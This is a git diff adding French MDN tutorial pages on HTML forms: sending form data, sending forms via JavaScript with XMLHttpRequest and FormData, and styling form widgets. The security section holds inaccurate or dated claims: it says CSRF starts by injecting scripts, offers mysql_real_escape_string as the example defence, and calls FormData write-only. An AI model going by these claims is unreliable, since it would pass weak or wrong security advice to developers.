  • régler la valeur de {{htmlattrxref("enctype","form")}} à multipart/form-data car les données seront coupées en plusieurs parties, une pour chaque fichier plus une pour les données dans le corps du formulaire (si du texte a aussi été entré dans le formulaire).
    • +
  • incorporer un ou plusieurs widgets de sélection de fichiers pour permettre aux utilisateurs de choisir les fichiers à téléverser.
    • +
+ +

 Par exemple :

+ +
<form method="post" enctype="multipart/form-data">
+  <div>
+    <label for="file">Choose a file</label>
+    <input type="file" id="file" name="myFile">
+  </div>
+  <div>
+    <button>Send the file</button>
+  </div>
+</form>
+ +
+

Note : Certains navigateurs prennent en charge l'attribut {{htmlattrxref("multiple","input")}} de l'élément {{HTMLElement("input")}}pour envoyer plus d'un fichier avec seulement un élément d'entrée. La façon dont le serveur gère ces fichiers dépend de la technologie du serveur. Comme évoqué précédemment, utiliser un modèle rendra les choses plus faciles.

+
+ +
+

Attention : De nombreux serveurs sont configurés avec une limite de taille pour les fichiers et les requêtes HTTP pour éviter les abus. Il est important de vérifier cette limite avec l'administrateur du serveur avant d'envoyer un fichier.

+
+ +

Problèmes courants de sécurité

+ +

Chaque fois qu'on envoie des données à un serveur, il faut considérer la sécurité. Les formulaires HTML sont l'un des principaux vecteurs d'attaque (emplacements d'où les attaques peuvent provenir) contre les serveurs. Les problèmes ne viennent jamais des formulaires eux-mêmes — ils proviennent de la façon dont les serveurs gèrent les données.

+ +

Selon ce que vous faites, il y a quelques problèmes de sécurité bien connus que vous pouvez aisément contrer :

+ +

XSS et CSRF

+ +

Les attaques Cross-Site Scripting (XSS) et Cross-Site Request Forgery (CSRF) sont des attaques fréquentes qui surviennent quand vous affichez des données renvoyées par un utilisateur à celui-ci ou à un autre utilisateur. 

+ +

XSS permet aux attaquants d'injecter des scripts  côté‑client dans les pages Web vues par d'autres utilisateurs. La vulnérabilité au XSS peut être utilisée par les attaquants pour contourner les contrôles d'accès comme la same-origin policy (ou politique de même origine). Les effets de ces attaques peuvent aller d'une nuisance mineure à un risque significatif de sécurité.

+ +

Les attaques CSRF sont similaires aux attaques XSS en ce qu'elles commencent de la même façon — en injectant des scripts côté‑client sur des pages Web — mais leur cible est différente. Les attaquants CSRF essaient d'accroître leurs privilèges pour atteindre ceux d'un utilisateur privilégié (par exemple l'administrateur du site) pour effectuer une action qu'ils ne devraient pas pouvoir faire (par exemple, envoyer des données à un utilisateur non habilité).

+ +

Les attaques XSS exploitent la confiance qu'un utilisateur a pour un site, alors que les attaques  CSRF exploitent la confiance qu'un site a pour ses utilisateurs.

+ +

Pour éviter ces attaques, vous devez toujours vérifier les données qu'un utilisateur envoie à votre serveur et (si vous avez besoin de les afficher) essayez de ne pas afficher le contenu HTML tel que fourni par l'utilisateur. A la place, vous devez traiter les données fournies par l'utilisateur afin de ne pas les afficher verbatim. La quasi totalité des modèles du marché implémentent un filtre minimum qui enlève les éléments {{HTMLElement("script")}}, {{HTMLElement("iframe")}} et {{HTMLElement("object")}} des données envoyées par les utilisateurs. Cela permet d'atténuer les risques sans toutefois les éradiquer.

+ +

Injection SQL

+ +

L'injection SQL est un type d'attaque qui essaie d'effectuer certaines actions sur les bases de données utilisées par le site web cible. Cela consiste d'ordinaire à envoyer une requête SQL en espérant que le serveur l'exécutera (généralement quand le serveur essaie de ranger les informations envoyées par un utilisateur). C'est assurément l'un des vecteurs d'attaque les plus fréquents contre les sites web.

+ +

Les conséquences peuvent être terribles, de la perte de données à l'accès à l'infrastructure en utilisant l'augmentation des privilèges. C'est une menace sérieuse et vous ne devez jamais ranger des données envoyées par un utilisateur sans asepsie préalable (par exemple en utilisant mysql_real_escape_string() sur une infrastructure PHP/MySQL).

+ +

Injection d'en-tête HTTP et injection d'email

+ +

Ces attaques peuvent arrivent quand votre application construit des en-têtes HTTP ou des emails basés sur les données entrées par un utilisateur sur un formulaire. Elles ne vont pas directement endommager votre serveur ou affecter vos utilisateurs mais elles sont la porte ouverte à des problèmes plus graves comme le piratage de session ou les attaques par hameçonnage (phishing).

+ +

Ces attaques sont généralement silencieuses et peuvent transformer votre serveur en zombie.

+ +

Soyez paranoïaque : ne faites jamais confiances à vos utilisateurs

+ +

Alors, comment combattre ces menaces ? Ce sujet va bien au-delà de ce guide mais il y a quelques règles à garder en tête. La principale est de ne jamais faire confiance à ses utilisateurs, vous-même compris : même un utilisateur de confiance peut s'être fait pirater.

+ +

Toute donnée qui va dans un serveur doit être vérifiée et nettoyée. Toujours. Sans exception.

+ +
    +
  • Échappez les caractères putativement dangereux. Les caractères spécifiques avec lesquels vous devez être prudent varient selon le contexte dans lequel les données sont utilisées et de la plate-forme serveur que vous utilisez, mais tous les languages côté serveur ont des fonctions pour cela.
    • +
  • Limitez le volume des données entrantes pour n'autoriser que ce qui est nécessaire.
    • +
  • Faites passer par le bac à sable les fichiers téléversés  (stockez‑les sur un serveur différent et n'autorisez l'accès au fichier que dans un sous-domaine différent, ou mieux, par un nom de domaine complètement différent).
    • +
+ +

Vous devriez vous éviter beaucoup de problèmes en suivant ces trois règles, mais cela reste néanmoins une bonne idée de faire un examen de sécurité auprès d'une tierce personne compétente. Ne pensez pas, à tort, avoir anticipé tous les problèmes de sécurité !

+ +
+

Note : L'article « Sécurité des sites Web » de notre sujet d'apprentissage « côté‑serveur » discute les problèmes ci‑dessus et leurs solutions possibles plus en détail.

+
+ +

Conclusion

+ +

Comme vous pouvez le voir, envoyer un formulaire est facile, mais sécuriser son application peut s'avérer plus délicat. N'oubliez pas qu'un développeur n'est pas celui qui doit définir le modèle de sécurité des données. Comme nous allons le voir, il est possible d'effectuer la validation des données côté client, mais le serveur ne peut pas faire confiance à cette validation car il n'a aucun moyen de savoir ce qui se passe réellement du côté client.

+ +

Voir aussi

+ +

Si vous voulez en savoir plus par rapport aux applications web, vous pouvez consulter ces ressources :

+ + + +
+
{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs", "Web/Guide/HTML/Formulaires/Validation_donnees_formulaire", "Web/Guide/HTML/Formulaires")}}
+
+ +

Dans ce module

+ + diff --git a/files/fr/learn/forms/sending_forms_through_javascript/index.html b/files/fr/learn/forms/sending_forms_through_javascript/index.html new file mode 100644 index 0000000000..922bfb2aaf --- /dev/null +++ b/files/fr/learn/forms/sending_forms_through_javascript/index.html @@ -0,0 +1,440 @@ +--- +title: Envoi de formulaires avec JavaScript +slug: Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript +translation_of: Learn/Forms/Sending_forms_through_JavaScript +--- +
{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés", "Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers", "Web/Guide/HTML/Formulaires")}}
+ +

Comme dans le précédent article, les formulaires HTML peuvent envoyer une requête HTTP par déclaration. Mais des formulaires peuvent aussi préparer une requête HTTP à adresser via JavaScript. Cet article explore comment faire cela.

+ +

Un formulaire n'est pas toujours un <form>

+ +

Avec les applications Web ouvertes, il est de plus en plus courant d'utiliser des formulaires HTML autres que des formulaires à remplir par des personnes — de plus en plus de développeurs prennent le contrôle sur la transmission des données.

+ +

Obtenir le contrôle sur la totalité de l'interface

+ +

La soumission d'un formulaire HTML standard charge l'URL où les données sont envoyées, car la fenêtre du navigateur manipule une pleine page. Éviter de charger une pleine page peut amener plus de fluidité en masquant des clignotements et des lenteurs de réseau.

+ +

De nombreuses UI modernes n'utilisent les formulaires HTML que pour recueillir des données utilisateur. Lorsque l'utilisateur veut envoyer les données, l'application prend la main et transmet les données de manière asynchrone en arrière-plan, mettant à jour uniquement les parties de l'interface utilisateur nécessitant des modifications.

+ +

L'envoi asynchrone de données arbitraires est connu sous le nom AJAX, qui signifie "Asynchronous JavaScript And XML" (XML et JavaScript asynchrones).

+ +

Comment est-ce différent ?

+ +

AJAX utilise l'objet DOM {{domxref("XMLHttpRequest")}} (XHR).Il peut construire des requêtes HTTP, les envoyer et retrouver leur résultats.

+ +
+

Note : Les techniques AJAX anciennes ne se fondaient pas forcément sur {{domxref("XMLHttpRequest")}}. Par exemple, JSONP combiné à la fonction eval(). Cela fonctionne, mais n'est pas recommandé en raison de sérieux problèmes de sécurité. La seule raison d'en poursuivre l'utilisation est l'utilisation de navigateurs anciens qui ne prennent pas en charge {{domxref("XMLHttpRequest")}} ou JSON, mais ce sont vraiment des navigateurs anciens ! Évitez ces techniques.

+
+ +

 

+ +

Historiquement, {{domxref("XMLHttpRequest")}} a été conçu pour récupérer et envoyer du XML comme format d'échange. Cependant, JSON a remplacé XML et est de plus en plus courant aujourd'hui.

+ +

Mais ni XML ni JSON ne s'adaptent à l'encodage des demandes de données de formulaire. Les données de formulaire (application/x-www-form-urlencoded) sont constituées de listes de paires clé/valeur codées par URL. Pour la transmission de données binaires, la requête HTTP est transformée en données multipart/form‑data.

+ +

Si vous contrôlez le frontal (le code exécuté dans le navigateur) et l'arrière‑plan (le code exécuté sur le serveur), vous pouvez envoyer JSON/XML et les traiter comme vous le souhaitez.

+ +

Mais si vous voulez utiliser un service tiers, ce n'est pas si facile. Certains services n'acceptent que les données de formulaire. Il y a aussi des cas où il est plus simple d'utiliser les données du formulaire. Si les données sont des paires clé/valeur ou des données binaires brutes, des outils d'arrière‑plan existants peuvent les traiter sans code supplémentaire.

+ +

Comment envoyer de telles données ?

+ +

Envoi des données de formulaire

+ +

Il y a 3 façons d'envoyer des données de formulaire, allant des techniques existantes jusqu'à l'objet {{domxref("XMLHttpRequest/FormData", "FormData")}} plus récent. Examinons-les en détail.

+ +

Construire manuellement un XMLHttpRequest

+ +

{{domxref("XMLHttpRequest")}} est la manière la plus sûre et la plus fiable de faire des requêtes HTTP. Pour envoyer des données de formulaire avec {{domxref("XMLHttpRequest")}}, préparez les données par encodage URL et suivez les spécificités des requêtes de données de formulaire.

+ +
+

Note : Pour en savoir plus sur XMLHttpRequest, ces articles pourraient vous intéresser : un article d'introduction à AJAX et un didacticiel plus fouillé à ce propos utilisant XMLHttpRequest.

+
+ +

Reconstruisons l'exemple précédent :

+ +
<button type="button" onclick="sendData({test:'ok'})">Cliquez ici !</button>
+ +

Comme vous pouvez le voir, le HTML n'a pas réellement changé. Mais, le JavaScript est totalement différent :

+ +
function sendData(data) {
+  var XHR = new XMLHttpRequest();
+  var urlEncodedData = "";
+  var urlEncodedDataPairs = [];
+  var name;
+
+  // Transformez l'objet data en un tableau de paires clé/valeur codées URL.
+  for(name in data) {
+    urlEncodedDataPairs.push(encodeURIComponent(name) + '=' + encodeURIComponent(data[name]));
+  }
+
+  // Combinez les paires en une seule chaîne de caractères et remplacez tous
+  // les espaces codés en % par le caractère'+' ; cela correspond au comportement
+  // des soumissions de formulaires de navigateur.
+  urlEncodedData = urlEncodedDataPairs.join('&').replace(/%20/g, '+');
+
+  // Définissez ce qui se passe en cas de succès de soumission de données
+  XHR.addEventListener('load', function(event) {
+    alert('Ouais ! Données envoyées et réponse chargée.');
+  });
+
+  // Définissez ce qui arrive en cas d'erreur
+  XHR.addEventListener('error', function(event) {
+    alert('Oups! Quelque chose s\'est mal passé.');
+  });
+
+  // Configurez la requête
+  XHR.open('POST', 'https://example.com/cors.php');
+
+  // Ajoutez l'en-tête HTTP requise pour requêtes POST de données de formulaire
+  XHR.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
+
+  // Finalement, envoyez les données.
+  XHR.send(urlEncodedData);
+}
+ +

Voici le résultat en direct :

+ +

{{EmbedLiveSample("Construire_manuellement_un_XMLHttpRequest", "100%", 50)}}

+ +
+

Note : Cette utilisation de {{domxref("XMLHttpRequest")}} est assujettie à la politique « même origine » si vous voulez envoyer des données à un site web tiers. Pour les demandes d'origine croisée, vous aurez besoin d'un contrôle d'accès CORS et HTTP.

+
+ +

Utilisation de XMLHttpRequest et de l'objet FormData

+ +

Construire manuellement une requête HTTP peut devenir fastidieux. Heureusement, une spécification XMLHttpRequest récente fournit un moyen pratique et plus simple pour traiter les demandes de données de formulaire avec l'objet {{domxref("XMLHttpRequest/FormData", "FormData")}}.

+ +

L'objet {{domxref("XMLHttpRequest/FormData", "FormData")}} peut s'utiliser pour construire des données de formulaire pour la transmission ou pour obtenir les données des élément de formulaire de façon à gérer leur mode d'envoi. Notez que les objets {{domxref("XMLHttpRequest/FormData", "FormData")}} sont en écriture seule (« write only »), ce qui signifie que vous pouvez les modifier, mais pas récupérer leur contenu.

+ +

L'utilisation de cet objet est détaillée dans Utiliser les objets FormData, mais voici deux exemples :

+ +

Utiliser un objet FormData autonome

+ +
<button type="button" onclick="sendData({test:'ok'})">Cliquez ici !</button>
+ +

Vous devriez être familier de cet exemple HTML.

+ +
function sendData(data) {
+  var XHR = new XMLHttpRequest();
+  var FD  = new FormData();
+
+  // Mettez les données dans l'objet FormData
+  for(name in data) {
+    FD.append(name, data[name]);
+  }
+
+  // Définissez ce qui se passe si la soumission s'est opérée avec succès
+  XHR.addEventListener('load', function(event) {
+    alert('Ouais ! Données envoyées et réponse chargée.');
+  });
+
+  // Definissez ce qui se passe en cas d'erreur
+  XHR.addEventListener('error', function(event) {
+    alert('Oups! Quelque chose s\'est mal passé.');
+  });
+
+  // Configurez la requête
+  XHR.open('POST', 'https://example.com/cors.php');
+
+  // Expédiez l'objet FormData ; les en-têtes HTTP sont automatiquement définies
+  XHR.send(FD);
+}
+ +

Voici le résultat directement :

+ +

{{EmbedLiveSample("Utiliser_un_objet_FormData_autonome", "100%", 60)}}

+ +

Utiliser un objet FormData lié à un élément form

+ +

Vous pouvez également lier un objet FormData à un élément {{HTMLElement("form")}} et  créer ainsi un FormData représentant les données contenues dans le formulaire.

+ +

Le HTML est classique :

+ +
<form id="myForm">
+  <label for="myName">Dites-moi votre nom :</label>
+  <input id="myName" name="name" value="John">
+  <input type="submit" value="Envoyer !">
+</form>
+ +

Mais JavaScript sera de la forme :

+ +
window.addEventListener("load", function () {
+  function sendData() {
+    var XHR = new XMLHttpRequest();
+
+    // Liez l'objet FormData et l'élément form
+    var FD = new FormData(form);
+
+    // Définissez ce qui se passe si la soumission s'est opérée avec succès
+    XHR.addEventListener("load", function(event) {
+      alert(event.target.responseText);
+    });
+
+    // Definissez ce qui se passe en cas d'erreur
+    XHR.addEventListener("error", function(event) {
+      alert('Oups! Quelque chose s\'est mal passé.');
+    });
+
+    // Configurez la requête
+    XHR.open("POST", "https://example.com/cors.php");
+
+    // Les données envoyées sont ce que l'utilisateur a mis dans le formulaire
+    XHR.send(FD);
+  }
+
+  // Accédez à l'élément form …
+  var form = document.getElementById("myForm");
+
+  // … et prenez en charge l'événement submit.
+  form.addEventListener("submit", function (event) {
+    event.preventDefault();
+
+    sendData();
+  });
+});
+ +

Voici le résultat en direct :

+ +

{{EmbedLiveSample("Utiliser_un_objet_FormData_lié_à_un_élément_form", "100%", 70)}}

+ +

Vous pouvez même intervenir davantage dans le processus en utilisant la propriété {{domxref("HTMLFormElement.elements", "elements")}} du formulaire pour obtenir une liste de tous les éléments de données du formulaire et les gérer chacun individuellement dans le programme. Pour en savoir plus, voir l'exemple dans la {{SectionOnPage("/en-US/docs/Web/API/HTMLFormElement.elements", "Accessing the element list's contents")}}.

+ +

Construire un DOM dans un iframe caché

+ +

La plus ancienne façon d'expédier des données de formulaire de manière asynchrone consiste à construire un formulaire avec l'API DOM, puis d'envoyer ses données dans un {{HTMLElement("iframe")}} caché. Pour accéder au résultat de votre envoi, il suffit de récupérer le contenu de l'élément {{HTMLElement("iframe")}}.

+ +
+

Avertissement : Évitez d'employer cette technique. Il y a des risques concernant la sécurité avec des services tierce-partie car vous laissez ouverte la possibilité d'une attaque par injection de script. Si vous utilisez HTTPS, il reste possible de perturber la politique de la même origine, ce qui peut rendre le contenu de l'élément {{HTMLElement("iframe")}} inatteignable. Toutefois, cette méthode peut être votre seule possibilité si vous devez prendre en charge des navigateurs très anciens.

+
+ +

Voici un exemple :

+ +
<button onclick="sendData({test:'ok'})">Cliquez ici !</button>
+ +
// Créer l'iFrame servant à envoyer les données
+var iframe = document.createElement("iframe");
+iframe.name = "myTarget";
+
+// Puis, attachez l'iFrame au document principal
+window.addEventListener("load", function () {
+  iframe.style.display = "none";
+  document.body.appendChild(iframe);
+});
+
+// Voici la fonction réellement utilisée pour expédier les données
+// Elle prend un paramètre, qui est un objet chargé des paires clé/valeurs.
+function sendData(data) {
+  var name,
+      form = document.createElement("form"),
+      node = document.createElement("input");
+
+  // Définir ce qui se passe quand la réponse est chargée
+  iframe.addEventListener("load", function () {
+    alert("Ouais ! Données envoyés.");
+  });
+
+  form.action = "http://www.cs.tut.fi/cgi-bin/run/~jkorpela/echo.cgi";
+  form.target = iframe.name;
+
+  for(name in data) {
+    node.name  = name;
+    node.value = data[name].toString();
+    form.appendChild(node.cloneNode());
+  }
+
+  // Pour être envoyé, le formulaire nécessite d'être attaché au document principal.
+  form.style.display = "none";
+  document.body.appendChild(form);
+
+  form.submit();
+
+  // Une fois le formulaire envoyé, le supprimer.
+  document.body.removeChild(form);
+}
+ +

Voici le résultat en direct :

+ +

{{EmbedLiveSample('Construire_un_DOM_dans_un_iframe_caché', "100%", 50)}}

+ +

 

+ +

Gestion des données binaires

+ +

Si vous utilisez un objet {{domxref("XMLHttpRequest/FormData", "FormData")}} avec un formulaire qui inclut des widgets <input type="file">, les données seront traitées automatiquement. Mais pour envoyer des données binaires à la main, il y a un travail supplémentaire à faire.

+ +

Il existe de nombreuses sources de données binaires sur le Web moderne : {{domxref("FileReader")}}, {{domxref("HTMLCanvasElement", "Canvas")}} et WebRTC, par exemple. Malheureusement, certains anciens navigateurs ne peuvent pas accéder aux données binaires ou nécessitent des solutions de contournement compliquées. Ces cas hérités sont hors du champ d'application de cet article. Si vous voulez en savoir plus sur l'API FileReader, lisez Utiliser les fichiers des applications Web.

+ +

Envoyer des données binaires avec le support de {{domxref("XMLHttpRequest/FormData", "FormData")}} est direct. Utilisez la méthode append() et vous avez terminé. Si vous devez le faire à la main, c'est plus délicat.

+ +

Dans l'exemple suivant, nous utilisons l'API {{domxref("FileReader")}} pour accéder aux données binaires et ensuite nous construisons à la main la demande de données du formulaire en plusieurs parties :

+ +
<form id="myForm">
+  <p>
+    <label for="i1">Données textuelles :</label>
+    <input id="i1" name="myText" value="Quelques données textuelles">
+  </p>
+  <p>
+    <label for="i2">Fichier de données :</label>
+    <input id="i2" name="myFile" type="file">
+  </p>
+  <button>Envoyer !</button>
+</form>
+ +

Comme vous pouvez le voir, le HTML est un <form>standard. Il n'y a rien de magique là‑dedans. La « magie » est dans le JavaScript :

+ +
// Comme nous voulons avoir accès à un nœud DOM,
+// nous initialisons le script au chargement de la page.
+window.addEventListener('load', function () {
+
+  // Ces variables s'utilisent pour stocker les données du formulaire
+  var text = document.getElementById("i1");
+  var file = {
+        dom    : document.getElementById("i2"),
+        binary : null
+      };
+
+  // Nous utilisons l'API de FileReader pour accéder au contenu du fichier
+  var reader = new FileReader();
+
+  // Comme FileReader est asynchrone, stockons son résulata
+  // quand il a fini de lire le fichier
+  reader.addEventListener("load", function () {
+    file.binary = reader.result;
+  });
+
+  // Au chargement de la page, si un fichier est déjà choisi, lisons‑le
+  if(file.dom.files[0]) {
+    reader.readAsBinaryString(file.dom.files[0]);
+  }
+
+  // Sinon, lisons le fichier une fois que l'utilisateur l'a sélectionné
+  file.dom.addEventListener("change", function () {
+    if(reader.readyState === FileReader.LOADING) {
+      reader.abort();
+    }
+
+    reader.readAsBinaryString(file.dom.files[0]);
+  });
+
+  // sendData est notre fonction principale
+  function sendData() {
+    // S'il y a un fichier sélectionné, attendre sa lecture
+    // Sinon, retarder l'exécution de la fonction
+    if(!file.binary && file.dom.files.length > 0) {
+      setTimeout(sendData, 10);
+      return;
+    }
+
+    // Pour construire notre requête de données de formulaire en plusieurs parties
+    // nous avons besoin d'une instance de XMLHttpRequest
+    var XHR = new XMLHttpRequest();
+
+    // Nous avons besoin d'un séparateur pour définir chaque partie de la requête
+    var boundary = "blob";
+
+    // Stockons le corps de la requête dans une chaîne littérale
+    var data = "";
+
+    // Ainsi, si l'utilisateur a sélectionné un fichier
+    if (file.dom.files[0]) {
+      // Lancer une nouvelle partie de la requête du corps
+      data += "--" + boundary + "\r\n";
+
+      // Décrivons là comme étant des données du formulaire
+      data += 'content-disposition: form-data; '
+      // Définissons le nom des données du formulaire
+            + 'name="'         + file.dom.name          + '"; '
+      // Fournissons le vrai nom du fichier
+            + 'filename="'     + file.dom.files[0].name + '"\r\n';
+      // et le type MIME du fichier
+      data += 'Content-Type: ' + file.dom.files[0].type + '\r\n';
+
+      // Il y a une ligne vide entre les métadonnées et les données
+      data += '\r\n';
+
+      // Ajoutons les données binaires à la requête du corps
+      data += file.binary + '\r\n';
+    }
+
+    // C'est plus simple pour les données textuelles
+    // Démarrons une nouvelle partie dans notre requête du corps
+    data += "--" + boundary + "\r\n";
+
+    // Disons que ce sont des données de formulaire et nommons les
+    data += 'content-disposition: form-data; name="' + text.name + '"\r\n';
+    // Il y a une ligne vide entre les métadonnées et les données
+    data += '\r\n';
+
+    // Ajoutons les données textuelles à la requête du corps
+    data += text.value + "\r\n";
+
+    // Ceci fait, "fermons" la requête du corps
+    data += "--" + boundary + "--";
+
+    // Définissons ce qui arrive en cas de succès pour la soumission des données
+    XHR.addEventListener('load', function(event) {
+      alert('Ouais ! Données expédiées et réponse chargée.');
+    });
+
+    // Définissons ce qui se passe en cas d'eerreur
+    XHR.addEventListener('error', function(event) {
+      alert('Oups! Quelque chose s\'est mal passé.');
+    });
+
+    // Configurons la requête
+    XHR.open('POST', 'https://example.com/cors.php');
+
+    // Ajoutons l'en-tête requise pour gèrer la requête POST des données
+    // de formulaire en plusieurs parties
+    XHR.setRequestHeader('Content-Type','multipart/form-data; boundary=' + boundary);
+
+    // et finalement, expédions les données.
+    XHR.send(data);
+  }
+
+  // Accéder au formulaire …
+  var form = document.getElementById("myForm");
+
+  // … pour prendre en charge l'événement soumission
+  form.addEventListener('submit', function (event) {
+    event.preventDefault();
+    sendData();
+  });
+});
+ +

Voici le résultat en direct :

+ +

{{EmbedLiveSample('Gestion_des_données_binaires', "100%", 150)}}

+ +

Conclusion

+ +

Selon le navigateur, l'envoi de données de formulaire par JavaScript peut être facile ou difficile. L'objet {{domxref("XMLHttpRequest/FormData", "FormData")}} en est généralement la cause et n'hésitez pas à utiliser un « polyfill » (prothèse d'émulation) pour cela sur les navigateurs anciens :

+ +
    +
  • Ces primitives sont des « polyfills » de  FormData avec des {{domxref("Using_web_workers","worker")}}.
    • +
  • HTML5-formdata tente d'opérer un « polyfill » de l'objet FormData, mais il requiert un File API
    • +
  • Ce « polyfill » fournit la plupart des nouvelles méthodes dont FormData dispose (entrées, clés, valeurs et prise en charge de for...of)
    • +
+ +

 

+ +
{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés", "Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers", "Web/Guide/HTML/Formulaires")}}
+ +

 

+ +

Dans ce module

+ + diff --git a/files/fr/learn/forms/styling_web_forms/index.html b/files/fr/learn/forms/styling_web_forms/index.html new file mode 100644 index 0000000000..fbdafe47d4 --- /dev/null +++ b/files/fr/learn/forms/styling_web_forms/index.html @@ -0,0 +1,391 @@ +--- +title: Mise en forme des formulaires HTML +slug: Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML +tags: + - CSS + - Exemple + - Formulaires + - Guide + - HTML + - Intermédiaire + - Web +translation_of: Learn/Forms/Styling_web_forms +--- +
{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers", "Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms", "Web/Guide/HTML/Formulaires")}}
+ +
+

Dans cet article, nous allons apprendre comment utiliser les CSS avec les formulaires HTML pour (espérons-le) améliorer leur apparence. Étonnamment, ceci peut être délicat. Pour des raisons techniques et historiques, les widgets de formulaires ne s'allient pas très bien avec CSS. À cause de ces difficultés, de nombreux développeurs préfèrent construire leurs propres widgets HTML pour avoir plus de maîtrise sur leur apparence. Toutefois, avec les navigateurs modernes, les web designers ont de plus en plus d'emprise sur l'apparence de leurs formulaires. Voyons cela de plus près.

+
+ +

Pourquoi est-ce si difficile de modifier l'apparence des formulaires avec CSS ?

+ +

Dans la jeunesse du Web — aux alentours de 1995 — les formulaires ont été ajoutés au HTML dans la spécification HTML 2. À cause de la complexité des formulaires, ceux qui les mettaient en œuvre ont préféré s'appuyer sur le système d'exploitation sous‑jacent pour les gérer et les afficher.

+ +

Quelques années plus tard, les CSS ont été créées et ce qui était une nécessité technique — c'est-à-dire, utiliser des widgets natifs pour les contrôles de formulaire — est devenu un préalable stylistique. Dans la jeunesse des CSS, l'apparence des formulaires n'était pas une priorité.

+ +

Comme les utilisateurs étaient habitués à l'apparence visuelle de leurs plateformes respectives, les fournisseurs de navigateurs étaient réticents à rendre possible la modification de l'apparence des formulaires. Et pour être honnête, il est toujours extrêmement difficile de reconstruire tous les contrôles pour que leur apparence soit modifiable.

+ +

Même aujourd'hui, aucun des navigateurs n'a entièrement mis en œuvre les CSS 2.1. Avec le temps, les fournisseurs de navigateurs ont toutefois amélioré la compatibilité des CSS avec les éléments de formulaires, et bien que ce soit de mauvaise réputation pour leur utilisation, vous pouvez désormais modifier l'apparence des formulaires HTML.

+ +

Tous les widgets ne sont pas égaux devant les CSS

+ +

Actuellement, quelques difficultés subsistent dans l'utilisation des CSS avec les formulaires. Ces problèmes peuvent être classés en trois catégories.

+ +

Le bon

+ +

L'apparence de certains éléments peut être modifiée sans poser beaucoup de problèmes suivant les diverses plateformes. Ceci inclut les éléments structurels suivants :

+ +
    +
  1. {{HTMLElement("form")}}
    2. +
  2. {{HTMLElement("fieldset")}}
    3. +
  3. {{HTMLElement("label")}}
    4. +
  4. {{HTMLElement("output")}}
    5. +
+ +

Ceci inclut aussi tous les widgets de champs textuels (qu'ils soient mono ou multi‑lignes), ainsi que les boutons.

+ +

La brute

+ +

L'apparence de certains éléments ne peut être modifiée que rarement et peut nécessiter quelques astuces complexes, et parfois une connaissance avancée des CSS3.

+ +

Ceci inclut l'élément {{HTMLElement("legend")}}. Ce dernier ne peut pas être positionné correctement sur toutes les plateformes. De plus, l'apparence des cases à cocher et des boutons radio ne peut pas être modifiée directement. Toutefois, grâce à CSS3 c'est possible de contourner cette limitation. L'apparence du contenu {{htmlattrxref("placeholder", "input")}} ne peut pas être modifiée d'une manière standard. Mais tous les navigateurs qui sont compatible avec cet attribut ont aussi implémenté des pseudo-classes ou pseudo-élément propriétaires qui permettent de modifier son apparence.

+ +

Nous allons voir comment gérer ces cas particuliers dans l'article Apparence avancée des formulaires HTML.

+ +

Le truand

+ +

L'apparence de certains éléments n'est tout bonnement pas modifiable en utilisant les CSS. Ceci inclut toutes les interfaces avancées comme les intervalles, la sélection de couleur ou de date ainsi que les éléments déroulants, y compris les éléments {{HTMLElement("select")}}, {{HTMLElement("option")}}, {{HTMLElement("optgroup")}} et {{HTMLElement("datalist")}}. La sélection de fichiers est aussi connue pour ne pas pouvoir changer d'apparence. Les nouveaux éléments {{HTMLElement("progress")}} et {{HTMLElement("meter")}} font aussi partie de cette catégorie.

+ +

Le principal problème avec tous ces widgets vient du fait que leur structure est très complexe et les CSS n'ont pas assez d'expressions pour décrire et modifier l'apparence des éléments. Si vous souhaitez modifier l'apparence des widgets vous devez utiliser JavaScript pour construire une arborescence DOM qui vous permet de modifier l'apparence. Nous explorons cette possibilité dans l'article Comment créer des widgets de formulaire personnalisés.

+ +

Compositions stylistiques de base

+ +

Pour changer l'apparence des éléments facilement modifiables avec les CSS, vous ne devriez pas rencontrer de problèmes, puisqu'ils se comportent comme n'importe quel autre élément HTML. Toutefois, les feuilles de style peuvent ne pas être cohérentes entre navigateurs, il y a donc un certain nombre d'astuces à connaître.

+ +

Champs de recherche

+ +

Les boîtes de recherche sont le seul type de champ textuel dont l'apparence peut être un peu complexe à modifier. Sur les navigateurs utilisant WebKit (Chrome, Safari, etc.) vous devrez utiliser la propriété CSS propriétaire -webkit-appearance. Nous allons aborder le sujet plus en détails dans dans l'article : Apparence avancée des formulaires HTML.

+ +

Exemple

+ +
<form>
+  <input type="search">
+</form>
+
+ +
input[type=search] {
+  border: 1px dotted #999;
+  border-radius: 0;
+
+  -webkit-appearance: none;
+}
+ +

This is a screenshot of a search filed on Chrome, with and without the use of -webkit-appearance

+ +

Comme vous pouvez le voir sur la capture d'écran pour Chrome, les deux champs ont une bordure, mais le premier champ n'utilise pas la propriété -webkit-appearance tandis que le second a recours à la propriété -webkit-appearance:none. La différence est notable.

+ +

Texte et polices de caractères

+ +

Les fonctionnalités liées au texte et aux polices de caractères dans les CSS peuvent être utilisées facilement avec n'importe quel widget (et oui, vous pouvez utiliser {{cssxref("@font-face")}} avec les formulaires). Toutefois, le comportement des navigateurs est souvent incompatible. Par défaut, certains éléments comme {{cssxref("font-family")}} {{cssxref("font-size")}} n'héritent pas de leurs parents. De nombreux navigateurs utilisent les valeurs du système d'exploitation. Pour que l'apparence des formulaires soit cohérente avec le reste de votre contenu, vous pouvez ajouter les règles suivantes à votre feuille de style :

+ +
button, input, select, textarea {
+  font-family : inherit;
+  font-size   : 100%;
+}
+ +

La capture d'écran ci-dessous montre les différences. Sur la gauche il y a l'affichage par défaut de Firefox pour Mac OS X, avec les réglages de police par défaut du système. Sur la droite, les mêmes éléments avec la règle d'harmonisation utilisée.

+ +

This is a screenshot of the main form widgets on Firefox on Mac OSX, with and without font harmonization

+ +

Il existe un débat animé sur le fait qu'un formulaire ait une meilleure apparence en utilisant les valeurs par défaut du système d'exploitation ou en utilisant des valeurs unifiant l'apparence. C'est à vous de décider en tant que designer du site ou de l'application.

+ +

